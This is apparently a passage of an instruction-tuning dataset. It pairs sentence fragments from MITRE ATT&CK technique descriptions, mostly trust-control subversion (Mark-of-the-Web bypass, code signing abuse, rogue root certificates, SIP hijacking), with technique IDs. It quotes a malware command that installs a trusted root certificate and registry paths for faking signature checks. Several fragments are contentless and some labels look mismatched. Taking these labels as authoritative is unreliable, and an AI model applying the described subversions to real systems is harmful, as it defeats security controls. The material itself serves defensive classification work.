[Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1488", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1488."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Identifier 2020)", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Identifier 2020) ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files that are tagged with MOTW are protected and cannot perform certain actions.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files that are tagged with MOTW are protected and cannot perform certain actions. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020) ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MOTW is a NTFS feature and many container files do not support NTFS alternative data streams.", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", "output": "T1553.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020) ### Response: T1553.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Code Signing)", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Code Signing) ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The certificates used during an operation may be created, acquired, or stolen by the adversary.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The certificates used during an operation may be created, acquired, or stolen by the adversary. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing to verify software on first run can be used on modern Windows and macOS systems.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing to verify software on first run can be used on modern Windows and macOS systems. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is not used on Linux due to the decentralized nature of the platform.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is not used on Linux due to the decentralized nature of the platform. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "output": "T1553.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ### Response: T1553.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Root certificates are used in public key cryptography to identify a root certificate authority (CA).", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Root certificates are used in public key cryptography to identify a root certificate authority (CA). ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the security settings, the browser may not allow the user to establish a connection to the website.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the security settings, the browser may not allow the user to establish a connection to the website. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled.", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017) ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-r trustRoot -k /Library/Keychains/System.keychain", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -r trustRoot -k /Library/Keychains/System.keychain ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)", "output": "T1553.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018) ### Response: T1553.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying the <code>DLL</code> and <code>Function</code>", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying the <code>DLL</code> and <code>Function</code> ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Note:**", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Note:** ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SpectorOps Subverting Trust Sept 2017)", "output": "T1553.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SpectorOps Subverting Trust Sept 2017) ### Response: T1553.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system.", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Disable SIP)", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Disable SIP) ### Response: T1553.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation:", "output": "T1553.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. 